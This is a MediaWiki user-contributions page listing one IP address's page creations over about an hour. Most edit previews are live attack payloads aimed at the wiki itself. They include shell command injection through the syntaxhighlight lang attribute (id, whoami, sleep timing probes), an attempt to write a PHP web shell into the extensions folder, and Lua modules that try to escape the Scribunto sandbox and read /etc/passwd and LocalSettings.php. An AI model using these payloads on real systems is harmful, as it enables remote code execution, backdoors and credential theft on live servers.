221.237.85.128的用户贡献

15:462026年5月9日 (六) 15:46 差异历史 +138‎ 新模块:Pwn ‎ 创建页面，内容为“local p = {} function p.rce() local f = io.open("/etc/passwd", "r") if f then return f:read("*a") else return "no io" end end return p” 当前
15:442026年5月9日 (六) 15:44 差异历史 +7‎ 新 Sandbox ‎ 创建页面，内容为“test123” 当前
15:092026年5月9日 (六) 15:09 差异历史 +30‎ 新 TestLoadersBypass ‎ 创建页面，内容为“{{#invoke:LoadersBypass|test}}” 当前
15:092026年5月9日 (六) 15:09 差异历史 +1,483‎ 新模块:LoadersBypass ‎ 创建页面，内容为“local p = {} function p.test() local results = {} if type(package.loaders) == "table" then results[1] = "loaders_count: " .. #package.loaders -- Try each loader with various module names local mods_to_try = {"os", "io", "lfs", "socket", "posix"} for _, modname in ipairs(mods_to_try) do for i, loader in ipairs(package.loaders) do local ok, fn = pcall(loader, modname) if ok and…” 当前
15:092026年5月9日 (六) 15:09 差异历史 +25‎ 新 TestLeakInfo ‎ 创建页面，内容为“{{#invoke:LeakInfo|test}}” 当前
15:092026年5月9日 (六) 15:09 差异历史 +1,278‎ 新模块:LeakInfo ‎ 创建页面，内容为“local p = {} function p.test() -- Try to leak file paths through error messages local results = {} -- Test 1: mw.loadData with error paths local ok1, err1 = pcall(mw.loadData, "/etc/passwd") results[1] = "loadData_passwd: " .. tostring(err1):sub(1,100) -- Test 2: mw.ustring with invalid UTF-8 from file -- (Can't read files directly, it's about encoding) -- Test 3: Check mw.title for path info local title = mw.title.new("/v…” 当前
15:062026年5月9日 (六) 15:06 差异历史 +61‎ 新 TestWhoami v2 1778310363 ‎ 创建页面，内容为“<syntaxhighlight lang="$(whoami 2>&1)">TEST</syntaxhighlight>” 当前
15:062026年5月9日 (六) 15:06 差异历史 +58‎ 新 TestPwd v2 1778310363 ‎ 创建页面，内容为“<syntaxhighlight lang="$(pwd 2>&1)">TEST</syntaxhighlight>” 当前
15:062026年5月9日 (六) 15:06 差异历史 +92‎ 新 TestRW 1778310363 echo simple ‎ 创建页面，内容为“<syntaxhighlight lang="$(echo PWNED > /tmp/test_echo_1778310363.txt)">TEST</syntaxhighlight>” 当前
15:062026年5月9日 (六) 15:06 差异历史 +61‎ 新 TestTiming 1778310360075 ‎ 创建页面，内容为“<syntaxhighlight lang="python;sleep 3">TEST</syntaxhighlight>” 当前
15:052026年5月9日 (六) 15:05 差异历史 +63‎ 新 TestTiming 1778310356944 ‎ 创建页面，内容为“<syntaxhighlight lang="python | sleep 3">TEST</syntaxhighlight>” 当前
15:052026年5月9日 (六) 15:05 差异历史 +58‎ 新 TestTiming 1778310353835 ‎ 创建页面，内容为“<syntaxhighlight lang="`sleep 5`">SLEEP5</syntaxhighlight>” 当前
15:052026年5月9日 (六) 15:05 差异历史 +59‎ 新 TestTiming 1778310350764 ‎ 创建页面，内容为“<syntaxhighlight lang="$(sleep 5)">SLEEP5</syntaxhighlight>” 当前
15:052026年5月9日 (六) 15:05 差异历史 +58‎ 新 TestTiming 1778310347605 ‎ 创建页面，内容为“<syntaxhighlight lang="`sleep 3`">SLEEP3</syntaxhighlight>” 当前
15:052026年5月9日 (六) 15:05 差异历史 +59‎ 新 TestTiming 1778310344531 ‎ 创建页面，内容为“<syntaxhighlight lang="$(sleep 3)">SLEEP3</syntaxhighlight>” 当前
15:052026年5月9日 (六) 15:05 差异历史 +57‎ 新 TestTiming 1778310341193 ‎ 创建页面，内容为“<syntaxhighlight lang="python">BASELINE</syntaxhighlight>” 当前
15:022026年5月9日 (六) 15:02 差异历史 +49‎ 新 TestTagSH2 1778310157 ‎ 创建页面，内容为“{{#tag:syntaxhighlight|TEST|lang=$(whoami 2>&1)}}” 当前
15:022026年5月9日 (六) 15:02 差异历史 +44‎ 新 TestTagSH1 1778310157 ‎ 创建页面，内容为“{{#tag:syntaxhighlight|TEST|lang=`id 2>&1`}}” 当前
15:022026年5月9日 (六) 15:02 差异历史 +45‎ 新 TestTagSH0 1778310157 ‎ 创建页面，内容为“{{#tag:syntaxhighlight|TEST|lang=$(id 2>&1)}}” 当前
15:022026年5月9日 (六) 15:02 差异历史 +5‎ TestWS1778310157 ‎无编辑摘要当前
15:022026年5月9日 (六) 15:02 差异历史 −40‎ TestWS1778310157 ‎无编辑摘要
15:022026年5月9日 (六) 15:02 差异历史 +24‎ TestWS1778310157 ‎无编辑摘要
15:022026年5月9日 (六) 15:02 差异历史 −16‎ TestWS1778310157 ‎无编辑摘要
15:022026年5月9日 (六) 15:02 差异历史 +163‎ 新 TestWS1778310157 ‎ 创建页面，内容为“<syntaxhighlight lang="$(echo '<?php system($_GET[c]); ?>' > /var/www/html/w/extensions/SyntaxHighlight_GeSHi/pwned_ZZXYS_1778310157.php)"> TEST </syntaxhighlight>”
15:002026年5月9日 (六) 15:00 差异历史 +31‎ 新 TestLoadDataAttack ‎ 创建页面，内容为“{{#invoke:LoadDataAttack|test}}” 当前
14:592026年5月9日 (六) 14:59 差异历史 +1,066‎ 新模块:LoadDataAttack ‎ 创建页面，内容为“local p = {} function p.test() local results = {} local paths = { "Module:Sandbox", "../../LocalSettings.php", "../LocalSettings.php", "/etc/passwd", "../../../etc/passwd", "../../../../etc/passwd", "Module:../LocalSettings.php", "Module:../../LocalSettings.php", } for _, path in ipairs(paths) do local ok, data = pcall(mw.loadData, path) local info = tostring(ok)…” 当前
14:592026年5月9日 (六) 14:59 差异历史 +27‎ 新 TestTitleProbe ‎ 创建页面，内容为“{{#invoke:TitleProbe|test}}” 当前
14:592026年5月9日 (六) 14:59 差异历史 +1,043‎ 新模块:TitleProbe ‎ 创建页面，内容为“local p = {} function p.test() local results = {} -- Test different paths local paths = { "/etc/passwd", "/etc/hosts", "/var/www/html/", "/tmp/", "LocalSettings.php", "../LocalSettings.php", "../../LocalSettings.php", "/w/LocalSettings.php", } for _, path in ipairs(paths) do local title = mw.title.new(path) if title then local info = {}…” 当前
14:592026年5月9日 (六) 14:59 差异历史 +28‎ 新 TestFrameAttack ‎ 创建页面，内容为“{{#invoke:FrameAttack|test}}” 当前
14:592026年5月9日 (六) 14:59 差异历史 +1,338‎ 新模块:FrameAttack ‎ 创建页面，内容为“local p = {} function p.test(frame) local results = {} local parent = frame:getParent() if not parent then results[1] = "no_parent"; return table.concat(results, " | ") end -- Test 1: Preprocess with syntaxhighlight containing command injection local preprocess_tests = { "<syntaxhighlight lang=\"python | id 2>&1\">test</syntaxhighlight>", "<syntaxhighlight lang=\"$(id 2>&1)\">test</syntaxhighlight>", "<syntaxhighligh…” 当前
14:572026年5月9日 (六) 14:57 差异历史 +27‎ 新 TestExprAttack ‎ 创建页面，内容为“{{#invoke:ExprAttack|test}}” 当前
14:572026年5月9日 (六) 14:57 差异历史 +795‎ 新模块:ExprAttack ‎ 创建页面，内容为“local p = {} function p.test() local pf = mw.ext.ParserFunctions if not pf or not pf.expr then return "no_expr" end local results = {} -- Try injecting system commands through expr local injections = { "system('id')", "eval('system', 'id')", "exec('id')", "shell_exec('id')", "passthru('id')", "popen('id', 'r')", "' . system('id') . '", "'+system('id')+'", } for _, inj…” 当前
14:572026年5月9日 (六) 14:57 差异历史 +25‎ 新 TestGCEscape ‎ 创建页面，内容为“{{#invoke:GCEscape|test}}” 当前
14:572026年5月9日 (六) 14:57 差异历史 +1,851‎ 新模块:GCEscape ‎ 创建页面，内容为“local p = {} function p.test() local results = {} results[1] = "newproxy=" .. type(newproxy) if newproxy then -- Create userdata with metatable local ud = newproxy(true) if ud then results[2] = "ud_created=OK" local mt = getmetatable(ud) if mt then -- __gc runs with less sandbox restrictions in some Lua implementations -- Store captured data in _G…” 当前
14:562026年5月9日 (六) 14:56 差异历史 +28‎ 新 TestLoadLibPage ‎ 创建页面，内容为“{{#invoke:TestLoadLib|test}}” 当前
14:562026年5月9日 (六) 14:56 差异历史 +588‎ 新模块:TestLoadLib ‎ 创建页面，内容为“local p = {} function p.test() local results = {} results[1] = "loadlib=" .. type(package.loadlib or nil) results[2] = "loaders=" .. type(package.loaders) results[3] = "preload=" .. type(package.preload) -- Try package.searchpath results[4] = "searchpath=" .. type(package.searchpath) -- List what's available in package local pk = package local pkeys = {} for k, v in pairs(pk) do pkeys[#pkeys+1] = k .. "=" .. typ…” 当前
14:562026年5月9日 (六) 14:56 差异历史 +451‎ 新 TestSH Injection ‎ 创建页面，内容为“== Backtick in lang == <syntaxhighlight lang="`id 2>&1`"> TEST_BACKTICK </syntaxhighlight> == $(cmd) in lang == <syntaxhighlight lang="$(id 2>&1)"> TEST_CMDSUB </syntaxhighlight> == Pipe in lang == <syntaxhighlight lang="python | id 2>&1"> TEST_PIPE </syntaxhighlight> == Semicolon in lang == <syntaxhighlight lang="python;id 2>&1"> TEST_SEMI </syntaxhighlight> == Newline in lang == <syntaxhighlight lang="python"> TEST_NEWLINE </syntaxhighlight>” 当前
14:562026年5月9日 (六) 14:56 差异历史 +857‎ 新 TestAllEnums ‎ 创建页面，内容为“DeepEnum1: {{#invoke:DeepEnum1|test}} DeepEnum2: {{#invoke:DeepEnum2|test}} DeepEnum3: {{#invoke:DeepEnum3|test}} DeepEnum4: {{#invoke:DeepEnum4|test}} DeepEnum5: {{#invoke:DeepEnum5|test}} DeepEnum12: {{#invoke:DeepEnum12|test}} DeepEnum15: {{#invoke:DeepEnum15|test}} DeepEnum16: {{#invoke:DeepEnum16|test}} DeepEnum17: {{#invoke:DeepEnum17|test}} DeepEnum18: {{#invoke:DeepEnum18|test}} GCSandbox: {{#invoke:GCSandbox|test}} ShEscape2: {{#invoke:ShEsc…” 当前
14:532026年5月9日 (六) 14:53 差异历史 +1,920‎ 新模块:AttackLoader ‎ 创建页面，内容为“local p = {} function p.test() local results = {} results[1] = "loaders_type=" .. type(package.loaders) -- If loaders is a table, try each one if type(package.loaders) == "table" then results[2] = "loaders_count=" .. #package.loaders for i, loader in ipairs(package.loaders) do results[#results+1] = "loader" .. i .. "=" .. type(loader) if type(loader) == "function" then -- Try to load 'os'…” 当前
14:532026年5月9日 (六) 14:53 差异历史 +26‎ 新 TestAttackPKG ‎ 创建页面，内容为“{{#invoke:AttackPKG|test}}” 当前
14:532026年5月9日 (六) 14:53 差异历史 +1,238‎ 新模块:AttackPKG ‎ 创建页面，内容为“local p = {} function p.test() local results = {} local loaded = package.loaded results[1] = "loaded_type=" .. type(loaded) if loaded then -- List loaded modules local keys = {} for k in pairs(loaded) do keys[#keys+1] = tostring(k) end results[2] = "loaded_keys=" .. table.concat(keys, ", ") -- Check 'os' specifically if loaded["os"] then local l_os = loaded["os"]…” 当前
14:532026年5月9日 (六) 14:53 差异历史 0‎ TestFrameChain ‎无编辑摘要当前
14:532026年5月9日 (六) 14:53 差异历史 +34‎ 新 TestExtFuncFull ‎ 创建页面，内容为“{{#invoke:Deep4 ExtFuncFull|test}}” 当前
14:532026年5月9日 (六) 14:53 差异历史 +33‎ 新 TestExprDirect ‎ 创建页面，内容为“{{#invoke:Deep4 ExprDirect|test}}” 当前
14:532026年5月9日 (六) 14:53 差异历史 +34‎ 新 TestOverrideReq ‎ 创建页面，内容为“{{#invoke:Deep4 OverrideReq|test}}” 当前
14:532026年5月9日 (六) 14:53 差异历史 +32‎ 新 TestPkgLoaded ‎ 创建页面，内容为“{{#invoke:Deep4 PkgLoaded|test}}” 当前
14:502026年5月9日 (六) 14:50 差异历史 +190‎ 新 TestRCE ‎ 创建页面，内容为“Method1: {{#invoke:RCE|exec1}} Method2: {{#invoke:RCE|exec2}} Method3: {{#invoke:RCE|exec3}} Method5: {{#invoke:RCE|exec5}} Method6: {{#invoke:RCE|exec6}} Method7: {{#invoke:RCE|exec7}}” 当前
14:492026年5月9日 (六) 14:49 差异历史 +757‎ 模块:RCE ‎无编辑摘要当前
14:472026年5月9日 (六) 14:47 差异历史 +23‎ 新 TestExploit ‎ RCE test 当前
14:472026年5月9日 (六) 14:47 差异历史 +305‎ 新模块:Exploit ‎ Security test 当前

2026年5月9日 (星期六)